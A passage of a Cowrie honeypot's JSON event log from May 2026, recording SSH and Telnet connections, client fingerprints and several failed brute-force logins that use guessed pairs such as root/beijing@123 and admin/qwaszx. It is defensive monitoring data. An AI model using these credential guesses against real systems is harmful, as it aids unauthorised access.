af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:36.453927Z","src_ip":"121.122.119.48","session":"fbaf52365c2f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abbas123","message":"login attempt [root/abbas123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:37.433572Z","src_ip":"121.122.119.48","session":"fbaf52365c2f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:38.675866Z","src_ip":"121.122.119.48","session":"fbaf52365c2f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":50248,"dst_ip":"10.17.0.5","dst_port":23,"session":"983459ba8540","protocol":"telnet","message":"New connection: 24.199.85.165:50248 (10.17.0.5:23) [session: 983459ba8540]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:44.837373Z"}
{"eventid":"cowrie.session.closed","duration":32.414206981658936,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:48.044110Z","src_ip":"24.199.85.165","session":"17e2e8e18b28","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":50264,"dst_ip":"10.17.0.5","dst_port":23,"session":"e34e50f854cb","protocol":"telnet","message":"New connection: 24.199.85.165:50264 (10.17.0.5:23) [session: e34e50f854cb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:48.078752Z"}
{"eventid":"cowrie.session.closed","duration":32.95882320404053,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:50.476699Z","src_ip":"24.199.85.165","session":"053bbebe4102","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":50268,"dst_ip":"10.17.0.5","dst_port":23,"session":"46c86759b319","protocol":"telnet","message":"New connection: 24.199.85.165:50268 (10.17.0.5:23) [session: 46c86759b319]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:51.090078Z"}
{"eventid":"cowrie.session.closed","duration":36.63452363014221,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:53.553835Z","src_ip":"24.199.85.165","session":"029d37fe63b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.94007158279419,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:54.516868Z","src_ip":"24.199.85.165","session":"7cf5cd24fe2b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.122387647628784,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:54.798649Z","src_ip":"24.199.85.165","session":"e9d1e7f8e579","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":40.149030447006226,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:55.026502Z","src_ip":"24.199.85.165","session":"7fd6c41d28d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.74953055381775,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:41:56.451446Z","src_ip":"24.199.85.165","session":"bac16561ea2a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":46140,"dst_ip":"10.17.0.5","dst_port":23,"session":"401d58b747c8","protocol":"telnet","message":"New connection: 24.199.85.165:46140 (10.17.0.5:23) [session: 401d58b747c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:03.789546Z"}
{"eventid":"cowrie.session.closed","duration":40.786566972732544,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:04.256452Z","src_ip":"24.199.85.165","session":"5b150e8804bc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.642887115478516,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:06.700653Z","src_ip":"24.199.85.165","session":"88a4837c7721","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.12969160079956,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:14.264646Z","src_ip":"24.199.85.165","session":"8ba6672797fd","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.431854486465454,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:17.268955Z","src_ip":"24.199.85.165","session":"983459ba8540","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":45462,"dst_ip":"10.17.0.5","dst_port":23,"session":"36e65e23a2cc","protocol":"telnet","message":"New connection: 24.199.85.165:45462 (10.17.0.5:23) [session: 36e65e23a2cc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:17.846143Z"}
{"eventid":"cowrie.session.closed","duration":34.49346089363098,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:22.572098Z","src_ip":"24.199.85.165","session":"e34e50f854cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":52978,"dst_ip":"10.17.0.5","dst_port":23,"session":"95b196b53842","protocol":"telnet","message":"New connection: 24.199.85.165:52978 (10.17.0.5:23) [session: 95b196b53842]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:22.673064Z"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":50378,"dst_ip":"159.203.135.109","dst_port":23,"session":"f4649472daf2","protocol":"telnet","message":"New connection: 185.26.126.47:50378 (159.203.135.109:23) [session: f4649472daf2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:22.729433Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":52988,"dst_ip":"10.17.0.5","dst_port":23,"session":"c562df322ab6","protocol":"telnet","message":"New connection: 24.199.85.165:52988 (10.17.0.5:23) [session: c562df322ab6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:24.706076Z"}
{"eventid":"cowrie.session.closed","duration":36.28843641281128,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:27.378438Z","src_ip":"24.199.85.165","session":"46c86759b319","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.404207706451416,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:35.193606Z","src_ip":"24.199.85.165","session":"401d58b747c8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":35498,"dst_ip":"159.203.135.109","dst_port":22,"session":"522ea4f3b01e","protocol":"ssh","message":"New connection: 121.122.119.48:35498 (159.203.135.109:22) [session: 522ea4f3b01e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:36.670696Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:36.675608Z","src_ip":"121.122.119.48","session":"522ea4f3b01e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:36.908051Z","src_ip":"121.122.119.48","session":"522ea4f3b01e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"beijing@123","message":"login attempt [root/beijing@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:37.866141Z","src_ip":"121.122.119.48","session":"522ea4f3b01e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:39.100675Z","src_ip":"121.122.119.48","session":"522ea4f3b01e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":60680,"dst_ip":"10.17.0.5","dst_port":23,"session":"42ed580d28e4","protocol":"telnet","message":"New connection: 24.199.85.165:60680 (10.17.0.5:23) [session: 42ed580d28e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:39.971715Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":38038,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cc3f6c3b4d5","protocol":"telnet","message":"New connection: 24.199.85.165:38038 (10.17.0.5:23) [session: 3cc3f6c3b4d5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:52.782007Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":38050,"dst_ip":"10.17.0.5","dst_port":23,"session":"cec3f1312dd4","protocol":"telnet","message":"New connection: 24.199.85.165:38050 (10.17.0.5:23) [session: cec3f1312dd4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:52.955207Z"}
{"eventid":"cowrie.session.closed","duration":38.977871894836426,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:56.823900Z","src_ip":"24.199.85.165","session":"36e65e23a2cc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":38066,"dst_ip":"10.17.0.5","dst_port":23,"session":"cb4d765761ab","protocol":"telnet","message":"New connection: 24.199.85.165:38066 (10.17.0.5:23) [session: cb4d765761ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:42:58.465343Z"}
{"eventid":"cowrie.session.connect","src_ip":"137.184.155.248","src_port":54670,"dst_ip":"10.17.0.5","dst_port":23,"session":"3161fe70814d","protocol":"telnet","message":"New connection: 137.184.155.248:54670 (10.17.0.5:23) [session: 3161fe70814d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:00.080090Z"}
{"eventid":"cowrie.session.closed","duration":37.552499294281006,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:00.225438Z","src_ip":"24.199.85.165","session":"95b196b53842","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42532,"dst_ip":"10.17.0.5","dst_port":23,"session":"70c04056a9ba","protocol":"telnet","message":"New connection: 24.199.85.165:42532 (10.17.0.5:23) [session: 70c04056a9ba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:03.181297Z"}
{"eventid":"cowrie.session.closed","duration":39.27406406402588,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:03.980019Z","src_ip":"24.199.85.165","session":"c562df322ab6","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42542,"dst_ip":"10.17.0.5","dst_port":23,"session":"74bf7302eea8","protocol":"telnet","message":"New connection: 24.199.85.165:42542 (10.17.0.5:23) [session: 74bf7302eea8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:05.157951Z"}
{"eventid":"cowrie.session.closed","duration":45.74966835975647,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:08.478982Z","src_ip":"185.26.126.47","session":"f4649472daf2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":42554,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf50aed5db17","protocol":"telnet","message":"New connection: 24.199.85.165:42554 (10.17.0.5:23) [session: cf50aed5db17]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:10.749505Z"}
{"eventid":"cowrie.session.connect","src_ip":"114.141.59.195","src_port":36018,"dst_ip":"159.203.135.109","dst_port":22,"session":"e505c6c3f3bf","protocol":"ssh","message":"New connection: 114.141.59.195:36018 (159.203.135.109:22) [session: e505c6c3f3bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:16.346320Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:16.352497Z","src_ip":"114.141.59.195","session":"e505c6c3f3bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:16.597574Z","src_ip":"114.141.59.195","session":"e505c6c3f3bf","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"qwaszx","message":"login attempt [admin/qwaszx] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:17.601735Z","src_ip":"114.141.59.195","session":"e505c6c3f3bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":37.769176959991455,"message":"Connection lost after 37 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:17.740786Z","src_ip":"24.199.85.165","session":"42ed580d28e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:18.852361Z","src_ip":"114.141.59.195","session":"e505c6c3f3bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":49500,"dst_ip":"10.17.0.5","dst_port":23,"session":"56ef18f48ae2","protocol":"telnet","message":"New connection: 24.199.85.165:49500 (10.17.0.5:23) [session: 56ef18f48ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:19.034007Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":49514,"dst_ip":"10.17.0.5","dst_port":23,"session":"9c935a56c0c3","protocol":"telnet","message":"New connection: 24.199.85.165:49514 (10.17.0.5:23) [session: 9c935a56c0c3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:22.364298Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39602,"dst_ip":"10.17.0.5","dst_port":23,"session":"33434155704f","protocol":"telnet","message":"New connection: 24.199.85.165:39602 (10.17.0.5:23) [session: 33434155704f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:22.417908Z"}
{"eventid":"cowrie.session.closed","duration":32.51427721977234,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:25.469360Z","src_ip":"24.199.85.165","session":"cec3f1312dd4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.453208923339844,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:26.235066Z","src_ip":"24.199.85.165","session":"3cc3f6c3b4d5","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"185.26.126.47","src_port":38976,"dst_ip":"159.203.135.109","dst_port":23,"session":"049c24d54e03","protocol":"telnet","message":"New connection: 185.26.126.47:38976 (159.203.135.109:23) [session: 049c24d54e03]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:31.373598Z"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":39618,"dst_ip":"10.17.0.5","dst_port":23,"session":"5051a200c788","protocol":"telnet","message":"New connection: 24.199.85.165:39618 (10.17.0.5:23) [session: 5051a200c788]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:31.856889Z"}
{"eventid":"cowrie.session.closed","duration":34.01359295845032,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:32.478826Z","src_ip":"24.199.85.165","session":"cb4d765761ab","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.78648066520691,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:34.967618Z","src_ip":"24.199.85.165","session":"70c04056a9ba","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"121.122.119.48","src_port":44425,"dst_ip":"159.203.135.109","dst_port":22,"session":"7fde3637e17d","protocol":"ssh","message":"New connection: 121.122.119.48:44425 (159.203.135.109:22) [session: 7fde3637e17d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:37.515633Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:37.520974Z","src_ip":"121.122.119.48","session":"7fde3637e17d","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:37.759803Z","src_ip":"121.122.119.48","session":"7fde3637e17d","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"@dmin@123","message":"login attempt [root/@dmin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:38.738550Z","src_ip":"121.122.119.48","session":"7fde3637e17d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:39.978670Z","src_ip":"121.122.119.48","session":"7fde3637e17d","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.33143591880798,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:43.080803Z","src_ip":"24.199.85.165","session":"cf50aed5db17","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"24.199.85.165","src_port":57056,"dst_ip":"10.17.0.5","dst_port":23,"session":"a37d0748b84f","protocol":"telnet","message":"New connection: 24.199.85.165:57056 (10.17.0.5:23) [session: a37d0748b84f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:43.900557Z"}
{"eventid":"cowrie.session.closed","duration":39.54570245742798,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:44.703550Z","src_ip":"24.199.85.165","session":"74bf7302eea8","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":47.323487997055054,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:47.403431Z","src_ip":"137.184.155.248","session":"3161fe70814d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.57373285293579,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:52.607630Z","src_ip":"24.199.85.165","session":"56ef18f48ae2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.24142813682556,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:55.659203Z","src_ip":"24.199.85.165","session":"33434155704f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"77.90.185.16","src_port":65105,"dst_ip":"10.17.0.5","dst_port":22,"session":"0f08076fe8c1","protocol":"ssh","message":"New connection: 77.90.185.16:65105 (10.17.0.5:22) [session: 0f08076fe8c1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T15:43:56.071523Z"}
